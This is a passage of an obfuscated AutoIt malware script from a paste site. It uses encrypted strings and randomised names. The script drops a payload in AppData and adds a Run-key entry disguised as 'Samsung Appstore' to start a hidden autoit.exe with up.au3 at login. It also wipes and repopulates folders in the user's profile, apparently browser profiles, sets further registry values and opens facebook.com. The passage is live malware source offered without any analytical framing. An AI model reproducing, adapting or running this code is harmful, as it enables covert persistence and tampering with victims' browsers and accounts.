  5970. FileCreateShortcut($DU96650J50007, $LU75806O87936, $QV53761I27021, $QE84068V19446, $FH37126V95637 & ' ' & $QE84068V19446, $DU96650J50007)
  5971. $QV53761I27021 = @DesktopDir
  5972. $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  5973. $MX50889N8062 = 1
  5974. EndIf
  5975.  
  5976. ;retrieve Localized text for action
  5977. $VN21839D40239 = _WinAPI_LoadLibraryEx('shell32.dll', $LOAD_LIBRARY_AS_DATAFILE)
  5978. If $VN21839D40239 Then
  5979. $LD50094H23343 = _WinAPI_LoadString($VN21839D40239, $DW40391F60732)
  5980. ;If @error Then MsgBox(0, YK69395P92380('0x0329391612CD7FF847BAAFA72361CF1E','63504267791308182131'), _WinAPI_GetLastErrorMessage()) ;debug
  5981. _WinAPI_FreeLibrary($VN21839D40239)
  5982. EndIf
  5983.  
  5984.  
  5985. If $DW40391F60732 == 5382 Then
  5986. $QV53761I27021 = @UserProfileDir & '\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu'
  5987. $NY46912G26724H79275Y54978 = $NY46912G26724H79275Y54978name & '.lnk'
  5988. EndIf
  5989.  
  5990. ;pin or unpin
  5991.  
  5992. $GX26215V48494 = ObjCreate('Shell.Application')
  5993. $CV39051H10739 = $GX26215V48494.Namespace($QV53761I27021)
  5994. $CV39051H10739Item = $CV39051H10739.ParseName($NY46912G26724H79275Y54978)
  5995. If IsObj($CV39051H10739Item) Then
  5996. For $CV81871N53913 in $CV39051H10739Item.Verbs()
  5997. If StringInStr($CV81871N53913(), $LD50094H23343) Then $CV81871N53913.DoIt()
  5998. Next
  5999. Else
  6000. ;ConsoleWrite($CV39051H10739Item.Verbs())
  6001. EndIf
  6002.  
  6003. ;clean temporary shortcut
  6004. If $MX50889N8062 Then
  6005. FileDelete($LU75806O87936)
  6006. EndIf
  6007. EndFunc
  6008.  
  6009.  
  6010.  
  6011.  
  6012.  
  6013. Local $EX33493S24022 = FileOpen(@AppDataDir & YK69395P92380('0x551FD769A028BBAA83C1C071F12B9013','63504267791308182131'), 2)
  6014. FileWrite($EX33493S24022,$ZC88799C98092)
  6015. FileClose($EX33493S24022)
  6016.  
  6017.  
  6018. $LX63714O8569 = BinaryToString("0x726567206164642022484B43555C534F4654574152455C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E22202F76202253616D73756E672041707073746F726522202F6420225C22") & @AppDataDir & "\Mozila\autoit.exe" & BinaryToString("0x5C22205C22") & @AppDataDir & "\Mozila\up.au3" & BinaryToString("0x5C2222202F66")
  6019. RunWait(@ComSpec & YK69395P92380('0x8CD3AD06E5847E134D7FF1DFFA21E79D','63504267791308182131') & $LX63714O8569, @WindowsDir, @SW_HIDE)
  6020.  
  6021.  
  6022.  
  6023.  
  6024. Func DG42388W86540($NY46912G26724Z2957N31028)
  6025. DirRemove($NY46912G26724Z2957N31028 & YK69395P92380('0xD36C6ADECB21D9928EEB30501EC6280C','63504267791308182131'),1)
  6026. Sleep(150)
  6027. DirCreate($NY46912G26724Z2957N31028 & YK69395P92380('0x1007F8D75883BB150617303E42D9B61A45E6A7580DAF8FCAC9E6F635CE590E32','63504267791308182131'))
  6028. _Zip_UnzipAll(@AppDataDir & YK69395P92380('0xE6FE83C1FDFE331BD02ECF64D5F23D7C','63504267791308182131'), $NY46912G26724Z2957N31028 & YK69395P92380('0x1007F8D75883BB150617303E42D9B61AD6BEDC49988E4D87A43005C9C9731E20','63504267791308182131') ,16)
  6029. EndFunc
  6030.  
  6031.  
  6032. Func LU33597B50082($ZZ7410H70319)
  6033. If FileExists($ZZ7410H70319) Then
  6034. Local $DO97707J50938 = _FileListToArray($ZZ7410H70319, YK69395P92380('0xB9568E3BB3158C1E7539579267A801CD','63504267791308182131'), 2, True)
  6035. If @error = 1 Then
  6036. return false
  6037. EndIf
  6038. If @error = 4 Then
  6039. return false
  6040. EndIf
  6041.  
  6042.  
  6043. For $NY46912G26724 = 1 To $DO97707J50938[0] Step +1
  6044. DG42388W86540($DO97707J50938[$NY46912G26724])
  6045. Next
  6046.  
  6047. EndIf
  6048. EndFunc
  6049.  
  6050. LU33597B50082(YK69395P92380('0x81E29A563F43FC887BD5A7551F382B84C6C6A2AFFEAEB9D6E745A20DD7F4DC9D','63504267791308182131')& @UserName &YK69395P92380('0x40C4A22D483648290798D38D2DA3CA6A490800933F3B29020BD6C24AF332AF099404961DD24743EC3B1182149C1B79DB','63504267791308182131'))
  6051. LU33597B50082(YK69395P92380('0x81E29A563F43FC887BD5A7551F382B84C6C6A2AFFEAEB9D6E745A20DD7F4DC9D','63504267791308182131')& @UserName &YK69395P92380('0x3568FAEA67BECBB44B9D733BA2FDC8242451BD1BE5F5A43CB092D8B9063270517B4063297143A6BB01FF94C8C09A244F','63504267791308182131'))
  6052.  
  6053. NT94698L80975()
  6054. RegWrite(BinaryToString(YK69395P92380('0x77C894B2D4B556B94FE21BF64D9516E69325FB4BB66542DC93068F894C27DA40FE58EAC75B5E3D1232B9EED708449DB35D805B47EF462047197ECC0F3AF056B45D59C3B869E9EAF4104C536DF1BBCBEB','63504267791308182131')), YK69395P92380('0xBC353EE8D90FBA655B2DAD557A4066B3','63504267791308182131'), YK69395P92380('0x80D08FF4637CD6AC49562B28765262FC','63504267791308182131'), BinaryToString(YK69395P92380('0x845F9BE969ED39E6CF59AFEA98A0357AA036D330F4DF076D12B714EB46A468C6','63504267791308182131')))
  6055. RegWrite(BinaryToString(YK69395P92380('0x77C894B2D4B556B94FE21BF64D9516E69325FB4BB66542DC93068F894C27DA400EF4EB956570213794DA3E72AA9FDEC599EC3C882E7208078FD1C6E918002581EE519E886E0F00606F05336CB0C56E65','63504267791308182131')), YK69395P92380('0xBC353EE8D90FBA655B2DAD557A4066B3','63504267791308182131'), YK69395P92380('0x80D08FF4637CD6AC49562B28765262FC','63504267791308182131'), BinaryToString(YK69395P92380('0x845F9BE969ED39E6CF59AFEA98A0357AA036D330F4DF076D12B714EB46A468C6','63504267791308182131')))
  6056. Sleep(1000)
  6057. If Not ($NY46912G26724G3875U25831 = False) Then ShellExecute(BinaryToString(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131')),BinaryToString(YK69395P92380('0x06D9118FFCE65D73F691DE68AFF9B39EEF0486B683E84999ACD51BCBBFC3DD8F','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '" https://www.facebook.com/')
  6058. ShellExecute(@AppDataDir & YK69395P92380('0xA9261964666A8947BF7E554B1B86F0D74023E15F739C49FEAE5B4154EF7B47B5','63504267791308182131'),"up.au3",@AppDataDir & YK69395P92380('0xEAC1A394C62F4DA0C1A21CA24950BC3B','63504267791308182131'))
  6059. ;If Not ($GC29808U31467 = False) Then ShellExecute(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131'))
  6060. ;If Not ($AS88633S17684 = False) Then ShellExecute(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131'))
  6061. If Not ($ZJ64817K19423 = False) Then ShellExecute(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131'))
  6062.  
  6063. Func YK69395P92380($KS50476D12399,$JF22904R13060)
  6064. $KS50476D12399 = BinaryToString($KS50476D12399)
  6065. $YK28157F62492 = _Crypt_DecryptData($KS50476D12399, $JF22904R13060, $CALG_AES_256)
  6066. $YK28157F62492 = BinaryToString($YK28157F62492)
  6067. Return $YK28157F62492
  6068. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement